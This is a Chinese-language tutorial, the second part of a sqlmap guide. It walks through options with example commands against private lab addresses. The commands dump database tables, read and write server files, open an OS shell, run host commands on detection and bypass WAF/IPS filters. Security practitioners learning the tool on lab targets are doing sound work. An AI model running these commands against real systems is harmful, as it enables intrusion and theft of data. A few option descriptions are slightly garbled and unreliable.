sqlmap的介绍和使用二

十四、sqlmap 列举数据库名  –dbs

        (1)python  sqlmap.py    -u    “http://192.168.52.130/sqlinjection/example6/?group=username”  –dbs  
          sqlmap 枚举数据库表   
                –tables枚举表名  –>指定具体数据库 -D 数据库名(security)
                –exclude-sysdbs(排除系统数据库)

        (1)python  sqlmap.py    -u    “http://192.168.52.130/sqlinjection/example6/?group=username”  –tables
          (2)   python  sqlmap.py    -u    “http://192.168.52.130/sqlinjection/example6/?group=username”  -D  security  –tables
        (3)python  sqlmap.py    -u    “http://192.168.52.130/sqlinjection/example6/?group=username”  –tables   –exclude-sysdbs

          sqlmap  枚举数据表列
                  –columns  -D 指定数据库  -T指定数据表  -C 指定具体字段
        (1)python  sqlmap.py    -u    “http://192.168.52.130/sqlinjection/example6/?group=username”  –columns
        (2)python  sqlmap.py    -u    “http://192.168.52.130/sqlinjection/example6/?group=username”  -D sqlinjection  -T  users   –columns  
        (3)python  sqlmap.py    -u    “http://192.168.52.130/sqlinjection/example6/?group=username”  -D sqlinjection  -T  users   –columns  -C
         sqlmap 枚举数据值
        (1) python  sqlmap.py    -u    “http://192.168.52.130/sqlinjection/example6/?group=username”  -D sqlinjection  -T  users   -C  “custom” –dump

十五、sqlmap枚举schema信息–schema,列表将包含所有数据库、表和列,以及他们的类型
       (1)python   sqlmap.py   -u  “http://192.168.52.130/sqlinjection/example7/?id=1” –schema –exclude-sysdbs
          sqlmap检索数据表数量 –count-D(库名)
       (1)python   sqlmap.py   -u  “http://192.168.52.130/sqlinjection/example7/?id=1” –count -D   test
          sqlmap获取数据信息
          –start,–start,–first,–last
          –start 1 –stop 3 获取第二到第三表的名字
          –stop 1  获取第一张表的名字
          –first 3 –last  5 获取从第三到第五个字符
      (1)python   sqlmap.py   -u  “http://192.168.52.130/sqlinjection/example7/?id=1”  -D  sqlinjection  –start  1  –stop  3  
      (2)python   sqlmap.py   -u  “http://192.168.52.130/sqlinjection/example7/?id=1”  -D  sqlinjection  –tables  –start  1  –stop 3  

          sqlmap设置条件获取信息  –pivot-column=id  设置独当一无二的列  
                                                –where=“id>3”设置条件
                                                –T (表名)
      (1)python   sqlmap.py  -u “http://192.168.52.130/sqlinjection/example7/?id=1”   -T  users  –pivot-column id –columns
      (2)python   sqlmap.py  -u “http://192.168.52.130/sqlinjection/example7/?id=1″   -D  sqlinjection  -T  users  –where=”id>2”  
        (3)   python   sqlmap.py  -u “http://192.168.52.130/sqlinjection/example7/?id=1”   -D  sqlinjection  -T  users  -C  “username”  –where=”id>2″

         sqlmap 枚举数据值   –dump
         (1)  python   sqlmap.py  -u “http://192.168.186.128/sqli/example1.php?name=root”   -D  sqlinjection  -T  users  -C  “username”  –dump

十六、 sqlmap暴力破解数据
            使用场景mysql<5.0时,mysql中没有元数据库information_schema
                                              –common-tables
                                              –common-columns
 
 十七、sqlmap读取文件
            –file-read 路径 读取对应文件内容,注意:此处的路径为绝对路径
               (1)    sqlmap  -u  “http://192.168.186.128/sqli/example4.php?id=2″   –file-read=”F:\\flag.txt”
            –file-write  读取本地文件
            –file-dest   将读取的文件写入到远程绝对路径
             (1) sqlmap  -u  “http://192.168.186.128/sqli/example4.php?id=2″   –file-write=”F:\\flag.txt”   –file-dest=”F:\\flag.txt”
           sqlamap检索所有信息 -a 或 –all
            (1)sqlmap  -u  “http://192.168.186.128/sqli/example4.php?id=2”   -a
十八、 sqlmap执行系统命令–os-shell
            (1)sqlmap  -u  “http://192.168.186.128/sqli/example4.php?id=2”   –os-shell
十九、sqlmap设置盲注字符集
               –charset=
               在基于布尔和基于时间的sql盲注中,用户可以强制使用自定义字符集来加速数据检索过程
            (1)sqlmap  -u  “http://192.168.186.128/sqli/example4.php?id=2”  –charset=GBK -D test – T users  -C  “username”  –dump
          sqlmap爬取url
               sqlmap可以通过从目标位置开始收集链接(爬行)来收集潜在的脆弱链接,使用此选项,用户可以设置一个深度,递归执行这个爬行过程,如果低于设置的深度,
               sqlmap不会进入收集阶段
               –crawl
               –crawl-exclude 字符串,存在字符串的url不进行爬取
            (1)python  sqlmap.py  -u  “http://192.168.186.128/sqli/example4.php?id=2”  –batch–crawl=3
              sqlmap在csv输出中使用的分隔字符
               当被转储的数据存储到csv格式(–dump-format=CSV)时,条目必须用”分离值”分隔(默认值是,),如果用户想要覆盖它的默认值,他可以使用这个选项(例如–csv-del=”;”)
            (1)python  sqlmap.py   -u  “http://192.168.186.128/sqli/example4.php?id=2″  –csv-del=”;” –batch  -v3  -D sqlinjection  -T users -C  username  –dump  –thread   10                
              sqlmap设置输出格式
               当将存储表数据存储到输出目录中的相应文件中时,sqlmap支持三种不同的格式:CSV、HTML、SQLITE  
           (1)python   sqlmap.py   -u  “http://192.168.186.128/sqli/example4.php?id=2″    -v3 –batch  -D sqlinjection  -T users -C  username  –dump –dump-format=”HTML”  –thread  10   

二十、sqlmap探测之前检测internet连接,检测当前计算机Internet连接是否正常,确保探测失败不是因为网络拦截问题
             –check-internet
           (1)   python   sqlmap.py   -u  “http://192.168.186.128/sqli/example4.php?id=2”   –check-internet  
             sqlmap解析和测试表单的输入字段
             –form
            (1)python  sqlmap.py  -u   “http://192.168.186.128/sqli/example4.php?id=2”  –form  -v 3   –thread  5  
              sqlmap设置预计完成时间
                实时计算和显示估计的到达时间,检索每个查询输出,检索输出的技术是任何sql盲注类型时,就会显示这一点   注意:eta 和 -v 不兼容
            (1)python  sqlmap.py  -u   “http://192.168.186.128/sqli/example4.php?id=2” –form –thread 10 –batch  -D test  -T users  -C “user”  –dump  –eta  –technique  T
              sqlmap刷新会话文件
                由于会话文件的概念,所以最好知道您可以使用选项flush-session刷新文件的内容,通过这种方式,您可以避免sqlmap中默认实现的缓存机制.其他可能的方法是手动删除会话文件  
            (1)python  sqlmap.py  -u   “http://192.168.186.128/sqli/example4.php?id=2” -D test  -T users  -C  “usernames”  –dump  –eta  –flush-session
              sqlmap忽略会话中存储的结果
               使用选项–fresh-queries来忽略该文件的内容.通过这种方式,可以保持会话文件不变,对于所选的运行,避免恢复/恢复查询输出
           (1)   python  sqlmap.py  -u   “http://192.168.186.128/sqli/example4.php?id=2” –dbs  –fresh-queries  
             sqlmap使用Hex函数检索数据
                   非ascii数据的检索需要特殊的需求.解决这个问题的一个方法是使用DBMS hex函数.数据在被检索之前被编码为十六进制形式,然后被编码为原始形式
                   –hex
          (1) python  sqlmap.py  -u   “http://192.168.186.128/sqli/example4.php?id=2” –hex -v 3  –batch
            sqlmap设置自定义输出路径
                   sqlamp默认讲会话和结果文件存储在子目录输出中。如果您想在不同的位置,可以使用这个选项(例如–out-dir=/tmp)
            (1)  python  sqlmap.py  -u   “http://192.168.186.128/sqli/example4.php?id=2″ –hex  –dump –batch  -v 3 –output-dir=”///”  
            sqlmap从响应页面解析错误
                  如果web应用程序配置为调试模式, 以便在响应中显示后端数据库管理系统错误消息,sqlmap可以解析并显示他们.这对于调试很有用,
                  比如理解为什么某个枚举或接管开关不起作用—-这可能与会话用户的特权有关
                  –parse-error
                 保存sqlmap配置文件  –save
                 可以将命令行选项保存到配置ini文件中,然后可以使用之前解释的-c选项 编辑生成的文件并将其传递给sqlmap
                 更新sqlmap  –update  
          (1)python  sqlmap.py  -u   “http://192.168.186.128/sqli/example4.php?id=2” -D  test  -T users  -C “users”–dump  –hex  -v3  –batch  –parse-errors  –flush-session

二十 一、sqlmap强制设置DBMS编码
             –encoding=”gbk”
            (1)  python  sqlmap.py  -u   “http://192.168.186.128/sqli/example4.php?id=2″  –encoding=”gbk”
              sqlmap存储http流量到HAR
             –har=”HARFILE”
              HAR(HTTP Archive),是一个用来存储HTTP请求/响应信息的通用文件格式,基于JSON
            (1)  python  sqlmap.py  -u   “http://192.168.186.128/sqli/example4.php?id=2″ –dbs  –har=”test_192.168.1.100.har”  
             sqlmap筛选具体playload
             –test-filter=“ROW”
             (1)   python  sqlmap.py  -u   “http://192.168.186.128/sqli/example4.php?id=2″  –dbs  –test-filter=”ROW”  –flush-session  -v 3  
           sqlmap过滤具体playload
             –test-skip=“BENCHMARK”
              (1)  python  sqlmap.py  -u   “http://192.168.186.128/sqli/example4.php?id=2″  –dbs  –test-skip=”BENCHMARK”  –flush-session  -v 3  
          sqlmap过滤具体playload
               针对proxy日志文件使用正则表达式删选目标
              –scope=”regex”        
 二十二、sqlmap 杂项参数缩写
               例如: -z   flu:–flush-session
                                –bat:batch
                                –ban: banner
                               –tec=EC:technique=EU  ERROR UNION              
              (1) sqlmap  -u  “http://192.168.186.128/sqli/example4.php?id=2”  -z  ban,bat
              –alert 当发现sql注入时,运行主机系统命令
           (1)”http://192.168.186.128/sqli/example4.php?id=2″  –technique  U  –alert=”ifconfig”  –flush-session
              –-beep  当发现sql注入时,发出BB声音
             (1)  sqlmap  -u  “http://192.168.186.128/sqli/example4.php?id=2”  –beep
             –cleanup   清除DBMS udf创建的数据表
             –dependencies  查看依赖项
           (1)sqlmap   –dependencies  
              sqlmap 不进行高亮显示
              –disable-coloring  不进行高亮显示
           (1)sqlmap  -u  “http://192.168.186.128/sqli/example4.php?id=2”  –disable-coloring
              查看是否有WAF保护
              –identify-waf
            (1)sqlmap  -u   “http://192.168.186.128/sqli/example4.php?id=2”  –identify-waf
              –mobile  使用手机端User-Agent
              (1)   sqlmap  -u   “http://192.168.186.128/sqli/example4.php?id=2”  -v 3  –mobile      
              –offline  仅适用session文件,不进行联网探测
              –purge-output  清除output目录下的文件
              (1)  sqlmap  –purge-output
              –skip-waf忽略waf、ips
              (1)  sqlmap  -u   “http://192.168.186.128/sqli/example4.php?id=2”   –skip-waf  
              –sqlmap-shell  使用sqlmap shell
              (1)  sqlmap  –sqlmap-shell
              –tmp-dir=TMPDIR  指定本地目录用来存储临时文件
              –web–root=WEBROOT指定站点根目录
              –wizard 使用向导式的sqlmap
              (1) sqlmap  –wizard
              –answer=ANSEWERS  设置问题答案 例如“quit=N,follow=N”
              –gpage=GOOLEPAGE 设置Google Dork的页码数
              –smart  智能探测
              有些情况下,用户有大量的潜在目标url(例如,提供了选项-m),希望尽快找到一个脆弱的目标。
              如果使用–smart,将在扫描中进一步使用数据库管理系统错误的参数,否则跳过他们。